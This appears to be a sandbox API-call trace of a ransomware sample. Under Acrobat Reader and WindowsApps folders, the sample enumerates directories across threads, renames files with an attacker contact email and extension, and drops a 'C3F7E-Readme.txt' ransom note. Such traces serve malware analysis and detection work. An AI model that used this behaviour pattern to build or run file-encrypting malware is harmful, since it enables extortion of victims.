	[0084.818] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1623faa8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d028
	[0084.818] NtSetInformationFile (FileHandle=0x1490, IoStatusBlock=0x1623faa0, FileInformation=0x477d028, Length=0xd0, FileInformationClass=0xa) returned 0x0
	[0084.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d028) returned 1
	[0084.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0084.819] NtQueryInformationFile (in: FileHandle=0x1490, IoStatusBlock=0x1623fab4, FileInformation=0x1623fa8c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1623fab4, FileInformation=0x1623fa8c) returned 0x0
	[0084.819] NtSetInformationFile (FileHandle=0x1490, IoStatusBlock=0x1623fab4, FileInformation=0x1623fa8c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.820] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924bb8) returned 1
	[0084.820] FlushFileBuffers (hFile=0x1490) returned 1
	[0084.821] CloseHandle (hObject=0x1490) returned 1
	[0084.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476da98
	[0084.823] wcscpy (in: _Dest=0x476da98, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\"
	[0084.823] wcscat (in: _Dest=0x476da98, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\C3F7E-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\C3F7E-Readme.txt"
	[0084.823] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\C3F7E-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\c3f7e-readme.txt")) returned 0xffffffff
	[0084.823] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\C3F7E-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1490
	[0084.843] WriteFile (in: hFile=0x1490, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x1623fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x1623fab0*=0x6f6, lpOverlapped=0x0) returned 1
	[0084.843] CloseHandle (hObject=0x1490) returned 1
	[0084.844] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476da98) returned 1
	[0084.844] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc290) returned 1

Thread:
	id = 576
	os_tid = 0x182c

	[0077.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc190
	[0077.476] wcscpy (in: _Dest=0x47bc190, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource"
	[0077.476] wcscat (in: _Dest=0x47bc190, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\"
	[0077.476] wcscat (in: _Dest=0x47bc190, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\*"
	[0077.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4748088
	[0077.476] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\*", lpFindFileData=0x4748088 | out: lpFindFileData=0x4748088*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aca8
	[0083.371] wcscmp (_String1=".", _String2=".") returned 0
	[0083.371] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x4748088 | out: lpFindFileData=0x4748088*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.371] wcscmp (_String1="..", _String2=".") returned 1
	[0083.371] wcscmp (_String1="..", _String2="..") returned 0
	[0083.371] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x4748088 | out: lpFindFileData=0x4748088*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1
	[0083.371] wcscmp (_String1="CMap", _String2=".") returned 1
	[0083.371] wcscmp (_String1="CMap", _String2="..") returned 1
	[0083.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498d350
	[0083.372] wcscpy (in: _Dest=0x498d350, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource"
	[0083.372] wcscat (in: _Dest=0x498d350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\"
	[0083.372] wcscat (in: _Dest=0x498d350, _Source="CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap"
	[0089.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498d350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b4
	[0089.771] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x4748088 | out: lpFindFileData=0x4748088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1
	[0089.771] wcscmp (_String1="ENUtxt.pdf", _String2=".") returned 1
	[0089.771] wcscmp (_String1="ENUtxt.pdf", _String2="..") returned 1
	[0089.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x476de88
	[0089.771] wcscpy (in: _Dest=0x476de88, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource"
	[0089.771] wcscat (in: _Dest=0x476de88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\"
	[0089.771] wcscat (in: _Dest=0x476de88, _Source="ENUtxt.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf"
	[0089.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476de88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e6c
	[0089.772] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x4748088 | out: lpFindFileData=0x4748088*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1
	[0089.772] wcscmp (_String1="Font", _String2=".") returned 1
	[0089.772] wcscmp (_String1="Font", _String2="..") returned 1
	[0089.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498df88
	[0089.772] wcscpy (in: _Dest=0x498df88, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource"
	[0089.772] wcscat (in: _Dest=0x498df88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\"
	[0089.772] wcscat (in: _Dest=0x498df88, _Source="Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font"
	[0089.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498df88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e70
	[0089.772] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x4748088 | out: lpFindFileData=0x4748088*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1
	[0089.772] wcscmp (_String1="SaslPrep", _String2=".") returned 1
	[0089.772] wcscmp (_String1="SaslPrep", _String2="..") returned 1
	[0089.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476dfa8
	[0089.773] wcscpy (in: _Dest=0x476dfa8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource"
	[0089.773] wcscat (in: _Dest=0x476dfa8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\"
	[0089.773] wcscat (in: _Dest=0x476dfa8, _Source="SaslPrep" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\SaslPrep"
	[0089.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476dfa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e74
	[0089.773] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x4748088 | out: lpFindFileData=0x4748088*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1
	[0089.773] wcscmp (_String1="TypeSupport", _String2=".") returned 1
	[0089.773] wcscmp (_String1="TypeSupport", _String2="..") returned 1
	[0089.773] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e038
	[0089.773] wcscpy (in: _Dest=0x476e038, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource"
	[0089.773] wcscat (in: _Dest=0x476e038, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\"
	[0089.773] wcscat (in: _Dest=0x476e038, _Source="TypeSupport" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport"
	[0089.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476e038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e78
	[0089.774] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x4748088 | out: lpFindFileData=0x4748088*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0
	[0089.774] FindClose (in: hFindFile=0x477aca8 | out: hFindFile=0x477aca8) returned 1
	[0089.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4748088) returned 1
	[0089.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc190) returned 1
	[0089.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ea0) returned 1

Thread:
	id = 577
	os_tid = 0x1830

	[0077.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498d3d8
	[0077.477] wcscpy (in: _Dest=0x498d3d8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files"
	[0077.477] wcscat (in: _Dest=0x498d3d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\"
	[0077.477] wcscat (in: _Dest=0x498d3d8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\*"
	[0077.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47482f0
	[0077.477] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\*", lpFindFileData=0x47482f0 | out: lpFindFileData=0x47482f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac978
	[0081.831] wcscmp (_String1=".", _String2=".") returned 0
	[0081.831] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47482f0 | out: lpFindFileData=0x47482f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.851] wcscmp (_String1="..", _String2=".") returned 1
	[0081.851] wcscmp (_String1="..", _String2="..") returned 0
	[0081.851] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47482f0 | out: lpFindFileData=0x47482f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 1
	[0081.851] wcscmp (_String1="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", _String2=".") returned 1
	[0081.853] wcscmp (_String1="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", _String2="..") returned 1
	[0081.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47180e0
	[0081.853] wcscpy (in: _Dest=0x47180e0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files"
	[0081.853] wcscat (in: _Dest=0x47180e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\"
	[0081.853] wcscat (in: _Dest=0x47180e0, _Source="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}"
	[0091.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718350
	[0091.771] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}"
	[0091.771] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\"
	[0091.771] wcscat (in: _Dest=0x4718350, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\*"
	[0091.771] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f498
	[0091.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\*", lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4a8
	[0091.771] wcscmp (_String1=".", _String2=".") returned 0
	[0091.771] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.771] wcscmp (_String1="..", _String2=".") returned 1
	[0091.771] wcscmp (_String1="..", _String2="..") returned 0
	[0091.771] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xe3667780, ftCreationTime.dwHighDateTime=0x1d16599, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe3667780, ftLastWriteTime.dwHighDateTime=0x1d16599, nFileSizeHigh=0x0, nFileSizeLow=0x3c1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRdrDC1500720033_en_US.msi", cAlternateFileName="ACRORD~1.MSI")) returned 1
	[0091.771] wcscmp (_String1="AcroRdrDC1500720033_en_US.msi", _String2=".") returned 1
	[0091.771] wcscmp (_String1="AcroRdrDC1500720033_en_US.msi", _String2="..") returned 1
	[0091.771] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xe3667780, ftCreationTime.dwHighDateTime=0x1d16599, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe3667780, ftLastWriteTime.dwHighDateTime=0x1d16599, nFileSizeHigh=0x0, nFileSizeLow=0x3c1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRdrDC1500720033_en_US.msi", cAlternateFileName="ACRORD~1.MSI")) returned 0
	[0091.771] FindClose (in: hFindFile=0x477b4a8 | out: hFindFile=0x477b4a8) returned 1
	[0091.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f498) returned 1
	[0091.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718350) returned 1
	[0091.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47180e0) returned 1
	[0091.772] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x47482f0 | out: lpFindFileData=0x47482f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 0
	[0091.772] FindClose (in: hFindFile=0x2dac978 | out: hFindFile=0x2dac978) returned 1
	[0091.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47482f0) returned 1
	[0091.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d3d8) returned 1
	[0091.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc010) returned 1

Thread:
	id = 578
	os_tid = 0x1834

	[0077.478] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0081.781] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.781] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.228] GetLastError () returned 0x5
	[0085.228] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0085.228] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a200) returned 1

Thread:
	id = 579
	os_tid = 0x1838

	[0077.478] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0081.781] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
